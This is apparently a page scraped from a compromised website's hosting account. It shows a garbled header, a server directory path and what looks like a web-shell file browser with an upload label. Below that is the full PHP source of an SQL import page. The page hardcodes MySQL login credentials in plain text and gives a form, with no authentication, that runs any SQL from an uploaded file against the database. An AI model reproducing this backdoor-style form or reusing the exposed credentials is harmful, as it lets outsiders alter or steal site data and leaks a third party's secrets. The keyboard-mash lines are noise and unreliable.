]]jkjjgdjffksdkdxdsghfghdfghfgdfsdsdfsdfsfdsbcxvxcbccwewqeqwewqskfgj
במ12[cxvbcxvbxcvbcxvcxvbcvxcvbsdfsdfsdfsdfsdfsdfxcvbxcvxbbxqwqewqewv;'
/
home
/
u506006416
/
domains
/
crystalmiracle.co.in
/
public_html
/
Upload FileeE
HOME
<html> <head> <style> body { width:600px; text-align:center; } .sql-import-response { padding: 10px; } .success-response { background-color: #a8ebc4; border-color: #1b7943; color: #1b7943; } .error-response { border-color: #d96557; background: #f0c4bf; color: #d96557; } </style> </head> <body> <?php $mysqlUserName = "u305535906_a4user"; $mysqlPassword = "Cpanel@2020"; $mysqlHostName = "localhost"; $DbName = "u305535906_a4"; if (isset($_POST['import'])) { // echo $_FILES["attachment"]["tmp_name"]; die(); $conn =new mysqli($mysqlHostName, $mysqlUserName, $mysqlPassword , $DbName); $query = ''; // $sqlScript = file('database-script.sql'); $sqlScript = file($_FILES["attachment"]["tmp_name"]); foreach ($sqlScript as $line) { $startWith = substr(trim($line), 0 ,2); $endWith = substr(trim($line), -1 ,1); if (empty($line) || $startWith == '--' || $startWith == '/*' || $startWith == '//') { continue; } $query = $query . $line; if ($endWith == ';') { mysqli_query($conn,$query) or die('<div class="error-response sql-import-response">Problem in executing the SQL query <b>' . $query. '</b></div>'); $query= ''; } } echo '<div class="success-response sql-import-response">SQL file imported successfully</div>'; } ?> <div style="max-width: 400px; margin: auto; padding-top: 100px; padding-bottom: 100px; background-color:gray;"> <h4>Import an SQL file table</h4> <form class="contact-form-style" action="<?php echo $_SERVER["PHP_SELF"];?>" method="post" enctype="multipart/form-data"> <input name="attachment" placeholder="attachment" type="file" required/> <button class="submit" name="import" type="submit">Import</button> </form> </div> </body> </html>